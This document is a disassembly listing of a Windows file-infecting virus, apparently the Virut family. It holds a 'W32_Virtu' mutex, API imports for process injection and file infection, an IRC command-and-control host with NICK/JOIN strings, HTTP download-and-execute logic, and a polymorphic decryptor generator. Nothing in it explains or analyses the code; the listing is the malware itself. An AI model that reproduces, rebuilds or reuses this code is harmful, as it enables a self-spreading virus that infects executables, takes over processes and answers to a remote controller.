		dd 65530000h, 75626544h, 69725067h, 656C6976h, 56006567h
		dd 354C95FFh, 0C48B0040h, 50565656h, 95FF5756h,	4035D0h
		dd 5710C483h, 353C95FFh, 6A0040h, 95FF026Ah, 403570h, 128B9h
		dd 0E12B9700h, 54240C89h, 0AC95FF57h, 33004035h, 3CA583F6h
		dd 4036h, 95FF5754h, 4035B0h, 5C74C085h, 4FE8346h, 74FFEE72h
		dd 6A0824h, 95FF2A6Ah, 4035A8h,	0DC74C085h, 43DE893h, 0C9330000h
		dd 3930E391h, 40363C85h, 81287500h, 0DAEC1h, 50545000h
		dd 50505156h, 6895FF53h, 85004035h, 0F7459C0h, 82474FFh
		dd 363C858Fh, 0ACE80040h, 53FFFFFDh, 353C95FFh,	98EB0040h
		dd 128C481h, 0FF570000h, 40353C95h, 0FBE5E900h,	498DFFFFh
		dd 58585800h, 29CE00h, 0D6500h,	3 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_437C51	proc near		; CODE XREF: sub_4377EE+100p
					; sub_4377EE+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr ss:sub_403548[ebp]
		stosd
		pop	ecx


loc_437C5C:				; CODE XREF: sub_437C51+Ej
		lodsb
		test	al, al
		jnz	short loc_437C5C
		loop	sub_437C51
		retn
sub_437C51	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehan_0	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion_0	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32first	db 'Process32First',0
aProcess32next	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect	db 'connect',0
aGethostbyname	db 'gethostbyname',0
aRecv		db 'recv',0
aSend		db 'send',0
aSocket		db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetcon	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll	db 'ADVAPI32.DLL',0
aRegclosekey	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_437FEC	proc near		; CODE XREF: sub_438023+70p
					; sub_438023+81p ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr [ebp+4035F4h]
		add	esp, 8
		retn
sub_437FEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_438023	proc near		; CODE XREF: .rsrc:00439AE5p
		push	edi
		lea	eax, [ebp+4015B1h]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr [ebp+4035A4h]
		test	eax, eax
		jz	loc_4380CF
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+40353Ch]
		test	edi, edi
		jz	short loc_4380CF
		mov	ecx, [ebp+401588h]
		jecxz	short loc_438087
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_438087:				; CODE XREF: sub_438023+56j
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		lea	ecx, [edi+2394h]
		call	sub_437FEC
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		lea	ecx, [edi+23E1h]
		call	sub_437FEC
		mov	eax, dword ptr ss:loc_4035D8[ebp]
		lea	ecx, [edi+23E8h]
		call	sub_437FEC
		mov	eax, dword ptr ss:loc_4035DC[ebp]
		test	eax, eax
		jz	short loc_4380CF
		lea	ecx, [edi+23F5h]
		call	sub_437FEC


loc_4380CF:				; CODE XREF: sub_438023+16j
					; sub_438023+4Ej ...
		mov	eax, edi
		pop	edi
		retn
sub_438023	endp

; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, loc_401DAE[ebp]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr ss:loc_40356C[ebp]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		dw 0E855h
		align 8
		dd 43ED815Dh, 6A00401Ah, 0E958DFFh, 5000401Ah, 2420CD52h
		dd 83002A00h, 0C7660CC4h, 401A5485h, 0C720CD00h, 401A5685h
		dd 2A002400h, 6AC35D00h, 0FF016A01h, 473FF33h, 0C08515FFh
		dd 0B68F074h, 8B000000h, 50035BD0h, 72B58D3Ch, 8B00401Ah
		dd 10CBAh, 88A8B00h, 3000001h, 60CB2BF8h, 0A6F3CB8Bh, 47057461h
		dd 0C2EBF5E2h, 570FC783h, 8B53D48Bh, 6A5450CCh,	6A525140h
		dd 0F095FFFFh, 83004035h, 958B0CC4h, 403574h, 0EA83D72Bh
		dd 6A07C707h, 8900E800h, 6AC30357h, 9E8581Ah, 8D000000h
		dd 0FEAA6142h, 0C3F075C9h

; =============== S U B	R O U T	I N E =======================================



sub_4381B4	proc near		; CODE XREF: sub_438A1F+1Bp
					; sub_438B97+3p ...
		imul	edx, [ebp+403646h], 8088405h
		inc	edx
		mov	[ebp+403646h], edx
		mul	edx
		retn
sub_4381B4	endp

; ---------------------------------------------------------------------------
		dd 0E855h, 815D0000h, 401B09EDh, 4A9D8B00h, 83004036h
		dd 8247Ch, 0B9840Fh, 0EC810000h, 208h, 1046854h, 95FF0000h
		dd 403590h, 848DFC8Bh, 10424h, 6A5000h,	4E8h, 54525600h
		dd 95FF5700h, 40358Ch, 978DC933h, 104h,	26A5151h, 68016A51h
		dd 40000000h, 5C95FF52h, 96004035h, 5B74F685h, 4685450h
		dd 57000001h, 2024B4FFh, 0FF000002h, 40362895h,	0C0855900h
		dd 14E31674h, 6AD48B50h, 57515200h, 0CC95FF56h,	59004035h
		dd 0D075C085h, 3C95FF56h, 8D004035h, 57524457h,	8D58446Ah
		dd 10497h, 0C033AB00h, 0F359106Ah, 505050ABh, 50505050h
		dd 6495FF52h, 81004035h, 208C4h, 2474FF00h, 1895FF08h
		dd 53004036h, 361895FFh, 0C25D0040h, 3E800004h,	4601750Ah
		dd 15848D8Bh, 19E30040h, 1000958Dh, 0D1030040h,	84D2FF56h
		dd 1F880FC0h, 0F000001h, 11084h, 3A3E8000h, 80461075h
		dd 840F003Eh, 101h, 75203E80h, 3E8146F1h, 474E4950h, 0CF8B4275h
		dd 4F0146C6h, 6A51CE2Bh, 53565100h, 361095FFh, 3B590040h
		dd 0DF850FC1h, 8D000000h, 401DA285h, 68006A00h,	0Ch, 95FF5350h
		dd 403610h, 0C3Dh, 0BF850F00h, 0E9000000h, 0B1h, 52503E81h
		dd 850F5649h, 0A5h, 0AC08C683h,	840F0D3Ch, 99h,	0F375203Ch
		dd 0F3A3CACh, 8C85h, 200DAD00h,	3D202020h, 74656721h, 3CAC7F75h
		dd 817C7520h, 6820FF7Eh, 71757474h, 70037E81h, 752F2F3Ah
		dd 0FF47C668h, 0BA310F00h, 2710h, 0FF52E2F7h, 4035BC95h
		dd 50C03300h, 0E8505050h, 9, 6E776F44h,	64616F6Ch, 2095FF00h
		dd 85004036h, 333674C0h, 4A8589C9h, 51004036h, 20068h
		dd 56515180h, 2495FF50h, 8D004036h, 401B0395h, 0C9335000h
		dd 52505154h, 95FF5151h, 40356Ch, 0FF240487h, 40353C95h
		dd 80C3F800h, 4015778Dh, 0C3F90100h
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer',0
aTargethost	db 'TargetHost',0
		dw 2
		db 0FFh
		db 0F0h, 55h, 72h
aPProxim_ircgal	db 'proxim.ircgalaxy.pl',0
aNickLipmyrzeUs	db 'NICK lipmyrze',0Ah
		db 'USER k020501 . . :-JOIN &virtu',0Ah
		db 'U',0
		align 4
		dd 0ED815D00h, 401DB4h,	157785C6h, 0FF000040h, 40359495h
		dd 1FE8C100h, 1E6A3C74h, 3550B58Bh, 0AC590040h,	2A752E3Ch
		dd 0FF3E8166h, 8D23751Dh, 403640BDh, 2768B00h, 0A566A557h
		dd 336A858Dh, 858F0040h, 403390h, 0FA4689FAh, 0FBFE4E8Ch
		dd 0CFE201B1h, 858D43EBh, 4015B1h, 6A006A50h, 0A495FF0Eh
		dd 83004035h, 408247Ch,	4E82B75h, 53000000h, 0FF004346h
		dd 40358895h, 0FC48E800h, 7E8FFFFh, 53000000h, 4F5F4346h
		dd 95FF0053h, 403588h, 0FFFC31E8h, 0F356E8FFh, 8DFFFFFFh
		dd 401303h, 0BE8h, 45535500h, 2E323352h, 4C4C44h, 359C95FFh
		dd 0AE80040h, 77000000h, 69727073h, 4166746Eh, 95FF5000h
		dd 403548h, 35548589h, 310F0040h, 18E08D8Dh, 85890040h
		dd 403646h, 9C95FF51h, 93004035h, 468h,	0EDB58D00h, 59004018h
		dd 362CBD8Dh, 0D6E80040h, 66FFFFF6h, 1D6785C7h,	0F0FF0040h
		dd 1D69A583h, 8D000040h, 401D2795h, 6A545000h, 52006A01h
		dd 268h, 3095FF80h, 85004036h, 22755AC0h, 1D5A8D8Dh, 6A520040h
		dd 67B58D06h, 5400401Dh, 51505056h, 3495FF52h, 58004036h
		dd 362C95FFh, 85C60040h, 40384Dh, 0CE800h, 53570000h, 334B434Fh
		dd 4C442E32h, 95FF004Ch, 40359Ch, 76893h, 0B58D0000h, 401844h
		dd 0FCBD8D59h, 0E8004035h, 0FFFFF651h, 0CE8h, 4E495700h
		dd 54454E49h, 4C4C442Eh, 9C95FF00h, 85004035h, 0E7840FC0h
		dd 93000001h, 568h, 82B58D00h, 59004018h, 3618BD8Dh, 1AE80040h
		dd 83FFFFF6h, 40361CBDh, 840F0000h, 1C2h, 190EC81h, 68540000h
		dd 101h, 35FC95FFh, 0C4810040h,	190h, 6AD48B50h, 95FF5200h
		dd 40361Ch, 7559C085h, 1388680Dh, 95FF0000h, 4035BCh, 0BD83E2EBh
		dd 401D69h, 8D297500h, 401D6D85h, 95FF5000h, 403608h, 840FC085h
		dd 13Bh, 8B0C408Bh, 8F30FF00h, 401D6985h, 4D85C600h, 1004038h
		dd 16A006Ah, 95FF026Ah,	403614h, 0FFFF883h, 11284h, 958D9300h
		dd 401D65h, 5352106Ah, 360495FFh, 0C0850040h, 0F2850Fh
		dd 0BD8D0000h, 401D86h,	0BCE808B1h, 68FFFFFAh, 94h, 89E62B5Eh
		dd 0FF542434h, 40359895h, 94BD8D00h, 0B100401Dh, 0FA9DE801h
		dd 448BFFFFh, 0E0C11024h, 24440B08h, 8E0C104h, 824440Bh
		dd 5E850h, 2E250000h, 57007836h, 355495FFh, 0C4830040h
		dd 647C60Ch, 81958D20h,	6A00401Dh, 216800h, 53520000h
		dd 361095FFh, 7C8D0040h, 0FF571424h, 40355895h,	3804C600h
		dd 6A400Ah, 0FF535750h,	40361095h, 8DE60300h, 401DA2BDh
		dd 68006A00h, 0Ch, 95FF5357h, 403610h, 0C3Dh, 8D4D7500h
		dd 40364EB5h, 4D8D8D00h, 2B004038h, 51006ACEh, 95FF5356h
		dd 40360Ch, 7E00F883h, 0FE8B912Fh, 364EB58Dh, 0DB00040h
		dd 1075AEF2h, 0FAF8E860h, 7261FFFFh, 8D09E317h,	0EAEB0177h
		dd 0CE2BCF8Bh, 364EBD8Dh, 0A4F30040h, 0B9EBF787h, 95FF53h
		dd 80004036h, 401577BDh, 2A740100h, 753068h, 0BC95FF00h
		dd 80004035h, 40384DBDh, 11740000h, 1D6985C7h, 40h, 85C60000h
		dd 40384Dh, 0FE56E900h,	85C7FFFFh, 401580h, 80000000h
		dd 4C25Dh, 204F0A0Dh, 6E6F6F6Eh, 20666F20h, 6566696Ch
		dd 204F2021h, 656D6974h, 206F7420h, 656C6563h, 74617262h
		dd 0A0D2165h, 20202020h, 73204F20h, 656D6D75h, 61672072h
		dd 6E656472h, 520A0D21h, 6E656C65h, 73656C74h, 20796C73h
		dd 70706168h, 6E612079h, 78652064h, 74636570h, 2C746E61h
		dd 61747320h, 6E69646Eh, 2D203A67h, 61570A0Dh, 69686374h
		dd 6120676Eh, 64206C6Ch, 61207961h, 6E20646Eh, 74686769h
		dd 6F66202Ch, 72662072h, 646E6569h, 20492073h, 74696177h
		dd 570A0D3Ah, 65726568h, 65726120h, 756F7920h, 7266202Ch
		dd 646E6569h, 43203F73h, 21656D6Fh, 20744920h, 74207369h
		dd 21656D69h, 27744920h, 616C2073h, 0D216574h, 858B990Ah
		dd 0D479EDDBh, 0A614294Fh, 0C7840410h, 0B1FAE530h, 0AD097327h
		dd 375248D8h, 0A2A1A840h, 99AD474Ch, 0B7AB462h,	73C17E05h
		dd 0AB59571Ah, 0A614133Ah, 0FADA2310h, 0AF69DFA5h, 6CCC5C53h
		dd 6EF96AC2h, 0B8B35260h, 80CE22D8h, 0F2086D69h, 10h, 0Bh dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_438969	proc near		; CODE XREF: sub_4389B0:loc_438A0Dp
					; sub_438A70+7p ...

arg_0		= dword	ptr  4

		pusha
		and	ss:dword_4039A6[ebp], 0
		and	dword ptr ss:word_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_438985:				; CODE XREF: sub_438969+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_4389A7
		cmp	eax, [edx+8]
		jnb	short loc_4389A7
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	ss:dword_4039A6[ebp], edx
		mov	dword ptr ss:word_4039AA[ebp], eax
		jmp	short loc_4389AC
; ---------------------------------------------------------------------------


loc_4389A7:				; CODE XREF: sub_438969+23j
					; sub_438969+28j
		add	edx, 28h
		loop	loc_438985


loc_4389AC:				; CODE XREF: sub_438969+3Cj
		popa
		retn	4
sub_438969	endp


; =============== S U B	R O U T	I N E =======================================



sub_4389B0	proc near		; CODE XREF: .rsrc:00438CDCp
					; .rsrc:00438D02p
		mov	[ebp+4022F7h], al
		call	sub_438A1F
		push	1Fh
		lea	eax, [ebp+402224h]
		pop	ecx


loc_4389C7:				; CODE XREF: sub_4389B0+1Ej
		cmp	[eax], ebx
		jz	short loc_4389D7
		add	eax, 4
		loop	loc_4389C7
		inc	dword ptr [ebp+40398Eh]
		retn
; ---------------------------------------------------------------------------


loc_4389D7:				; CODE XREF: sub_4389B0+19j
		neg	ecx
		add	ecx, [ebp+4022F7h]
		jecxz	short loc_4389F1


loc_4389E1:				; CODE XREF: sub_4389B0+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_4389E1
		mov	[ebp+402224h], ebx


loc_4389F1:				; CODE XREF: sub_4389B0+2Fj
					; sub_438A1F+34j
		cmp	dword ptr [edx], 0
		jz	short loc_4389FB
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_4389FB:				; CODE XREF: sub_4389B0+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_438A0A
		push	dword ptr [edx]
		jmp	short loc_438A0D
; ---------------------------------------------------------------------------


loc_438A0A:				; CODE XREF: sub_4389B0+54j
		push	dword ptr [edx+10h]


loc_438A0D:				; CODE XREF: sub_4389B0+58j
		call	sub_438969
		sub	ecx, esi
		sub	ecx, dword ptr ss:word_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_4389B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438A1F	proc near		; CODE XREF: sub_4389B0+6p
		pop	dword ptr ss:loc_403992[ebp]
		mov	dword ptr [ebp+40398Eh], 0
		call	sub_438A70
		mov	eax, [ebp+40398Eh]
		call	sub_4381B4
		call	sub_438A5C
		cmp	dword ptr [ebp+40398Eh], 0
		jnz	short loc_438A55
		mov	[ebp+4022A0h], ebx
		jmp	short loc_4389F1
; ---------------------------------------------------------------------------


loc_438A55:				; CODE XREF: sub_438A1F+2Cj
		dec	dword ptr [ebp+40398Eh]
		retn
sub_438A1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438A5C	proc near		; CODE XREF: sub_438A1F+20p
		pop	dword ptr ss:loc_403992[ebp]
		mov	[ebp+40398Eh], edx
		call	sub_438A70
		xor	ecx, ecx
		retn
sub_438A5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438A70	proc near		; CODE XREF: sub_438A1F+10p
					; sub_438A5C+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_438969
		add	edx, dword ptr ss:word_4039AA[ebp]
		add	edx, esi


loc_438A84:				; CODE XREF: sub_438A70+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_438B95
		cmp	dword ptr [edx+10h], 0
		jz	locret_438B95
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_438969
		add	eax, dword ptr ss:word_4039AA[ebp]
		add	eax, esi
		push	eax


loc_438AAA:				; CODE XREF: sub_438A70+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_438ACA
		cmp	cl, 2Eh
		jz	short loc_438AB9


loc_438AB6:				; CODE XREF: sub_438A70+58j
		inc	eax
		jmp	short loc_438AAA
; ---------------------------------------------------------------------------


loc_438AB9:				; CODE XREF: sub_438A70+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_438AB6


loc_438ACA:				; CODE XREF: sub_438A70+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_438B8D
		cmp	word ptr [eax-2], 3233h
		jnz	loc_438B8D
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_438AED
		mov	ecx, [edx+10h]
		jmp	short loc_438AEF
; ---------------------------------------------------------------------------


loc_438AED:				; CODE XREF: sub_438A70+76j
		mov	ecx, [edx]


loc_438AEF:				; CODE XREF: sub_438A70+7Bj
		add	esi, ecx
		push	ecx
		call	sub_438969
		add	esi, dword ptr ss:word_4039AA[ebp]


loc_438AFD:				; CODE XREF: sub_438A70+90j
					; sub_438A70+117j
		lodsd
		test	eax, eax
		js	short loc_438AFD
		jz	loc_438B8C
		push	dword ptr ss:word_4039AA[ebp]
		push	eax
		call	sub_438969
		add	eax, dword ptr ss:word_4039AA[ebp]
		pop	dword ptr ss:word_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_438B29:				; CODE XREF: sub_438A70+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_438B40
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_438B29
; ---------------------------------------------------------------------------


loc_438B40:				; CODE XREF: sub_438A70+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_438B86
		cmp	ebx, 0DB6E45A8h
		jz	short loc_438B86
		cmp	ebx, 0FFA13B59h
		jz	short loc_438B86
		cmp	ebx, 0ACB522D6h
		jz	short loc_438B86
		cmp	ebx, 0F358E993h
		jz	short loc_438B86
		cmp	ebx, 0F358E97Dh
		jz	short loc_438B86
		cmp	ebx, 0E1253F46h
		jz	short loc_438B86
		cmp	ebx, 0E1253F30h
		jz	short loc_438B86
		call	dword ptr ss:loc_403992[ebp]


loc_438B86:				; CODE XREF: sub_438A70+D6j
					; sub_438A70+DEj ...
		pop	ebx
		jmp	loc_438AFD
; ---------------------------------------------------------------------------


loc_438B8C:				; CODE XREF: sub_438A70+92j
		pop	esi


loc_438B8D:				; CODE XREF: sub_438A70+60j
					; sub_438A70+6Cj
		add	edx, 14h
		jmp	loc_438A84
; ---------------------------------------------------------------------------

locret_438B95:				; CODE XREF: sub_438A70+18j
					; sub_438A70+22j
		retn
sub_438A70	endp

; ---------------------------------------------------------------------------
		db 1

; =============== S U B	R O U T	I N E =======================================



sub_438B97	proc near		; CODE XREF: .rsrc:00438CD5p
					; .rsrc:00438CFBp
		push	4
		pop	eax
		call	sub_4381B4
		mov	[ebp+4024D1h], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_4381B4
		add	edx, 8
		xchg	edx, ecx


loc_438BBF:				; CODE XREF: sub_438B97:loc_438BFEj
		push	5
		pop	eax
		call	sub_4381B4
		cmp	dl, 3
		jnb	short loc_438BD7
		mov	al, 50h
		add	al, [ebp+4024D1h]
		stosb
		jmp	short loc_438BFE
; ---------------------------------------------------------------------------


loc_438BD7:				; CODE XREF: sub_438B97+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_438BF8
		mov	al, 11h
		call	sub_4381B4
		mov	eax, 1


loc_438BEC:				; CODE XREF: sub_438B97+5Dj
		test	dl, dl
		jz	short loc_438BFD
		shl	eax, 1
		dec	dl
		jmp	short loc_438BEC
; ---------------------------------------------------------------------------
		jmp	short loc_438BFD
; ---------------------------------------------------------------------------


loc_438BF8:				; CODE XREF: sub_438B97+47j
		mov	eax, 80000000h


loc_438BFD:				; CODE XREF: sub_438B97+57j
					; sub_438B97+5Fj
		stosd


loc_438BFE:				; CODE XREF: sub_438B97+3Ej
		loop	loc_438BBF
		retn
sub_438B97	endp

; ---------------------------------------------------------------------------


loc_438C01:				; CODE XREF: sub_43965B+112p
		lea	edi, locret_40343C[ebp]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_438C16
		mov	al, 60h
		stosb


loc_438C16:				; CODE XREF: .rsrc:00438C11j
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_438D1C
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDCD37DAh
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr [ebp+403431h], 1000000h
		mov	[ebp+40399Ah], edi
		jz	short loc_438C94
		test	dword ptr [ebp+403431h], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_438C5F
		mov	eax, 2E8B6467h


loc_438C5F:				; CODE XREF: .rsrc:00438C58j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_438C6B
		mov	al, 5Dh
		stosb


loc_438C6B:				; CODE XREF: .rsrc:00438C66j
		test	dword ptr [ebp+403431h], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_438C92
		test	dword ptr [ebp+403431h], 4000000h
		mov	eax, 8C583h
		jz	short loc_438C92
		mov	eax, 0F8ED83h


loc_438C92:				; CODE XREF: .rsrc:00438C7Aj
					; .rsrc:00438C8Bj
		stosd
		dec	edi


loc_438C94:				; CODE XREF: .rsrc:00438C47j
		test	dword ptr [ebp+403431h], 3
		jz	short loc_438CA4
		mov	al, 0E9h
		stosb
		stosd


loc_438CA4:				; CODE XREF: .rsrc:00438C9Ej
		mov	eax, dword ptr ss:loc_403996[ebp]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr [ebp+403431h], 3
		jz	short loc_438D1C
		mov	eax, 36FF6467h
		mov	dword ptr ss:loc_40399E[ebp], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_438B97
		mov	al, 20h
		call	sub_4389B0
		jecxz	short loc_438D1C
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, [ebp+403431h]
		not	edx
		test	edx, 3
		jnz	short loc_438D0F
		call	sub_438B97
		mov	al, 1Fh
		call	sub_4389B0
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_438D0F:				; CODE XREF: .rsrc:00438CF9j
		mov	ecx, edi
		mov	eax, dword ptr ss:loc_40399E[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_438D1C:				; CODE XREF: .rsrc:00438C20j
					; .rsrc:00438CBBj ...
		test	dword ptr [ebp+403431h], 4
		jz	short loc_438D3A
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_438D3A:				; CODE XREF: .rsrc:00438D26j
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_438D90
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_438D90
		mov	eax, 0C9291829h
		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, [ebp+40342Bh]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr [ebp+403431h], 10h
		jz	short loc_438D8E
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_438D8E:				; CODE XREF: .rsrc:00438D85j
		stosw


loc_438D90:				; CODE XREF: .rsrc:00438D44j
					; .rsrc:00438D4Dj
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	[ebp+403982h], edi
		test	dword ptr [ebp+403431h], 20h
		jnz	short loc_438DB1
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_438DB1:				; CODE XREF: .rsrc:00438DA6j
		mov	ax, 0C081h
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_438DC4
		add	ah, 28h


loc_438DC4:				; CODE XREF: .rsrc:00438DBFj
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	[ebp+403986h], edi
		stosd
		test	dword ptr [ebp+403431h], 40000000h
		jnz	short loc_438DE8
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_438DE8:				; CODE XREF: .rsrc:00438DDDj
		test	dword ptr [ebp+403431h], 80h
		jnz	short loc_438DFF
		mov	al, 0B8h
		or	al, [ebp+40342Ah]
		stosb
		jmp	short loc_438E3C
; ---------------------------------------------------------------------------


loc_438DFF:				; CODE XREF: .rsrc:00438DF2j
		mov	ax, 1831h
		test	dword ptr [ebp+403431h], 100h
		jz	short loc_438E11
		mov	al, 29h


loc_438E11:				; CODE XREF: .rsrc:00438E0Dj
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+403431h], 200h
		jnz	short loc_438E34
		mov	ah, 0C8h


loc_438E34:				; CODE XREF: .rsrc:00438E30j
		or	ah, [ebp+40342Ah]
		stosw


loc_438E3C:				; CODE XREF: .rsrc:00438DFDj
		mov	dword ptr ss:loc_4039A2[ebp], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr [ebp+403431h], 8
		jz	short loc_438EC0
		test	dword ptr [ebp+403431h], 400h
		jnz	short loc_438E6B
		mov	al, 0B8h
		or	al, [ebp+40342Bh]
		stosb
		jmp	short loc_438EB8
; ---------------------------------------------------------------------------


loc_438E6B:				; CODE XREF: .rsrc:00438E5Ej
		test	dword ptr [ebp+403431h], 800h
		jnz	short loc_438E88
		mov	ax, 0E083h
		or	ah, [ebp+40342Bh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_438E9D
; ---------------------------------------------------------------------------


loc_438E88:				; CODE XREF: .rsrc:00438E75j
		mov	ax, 1829h
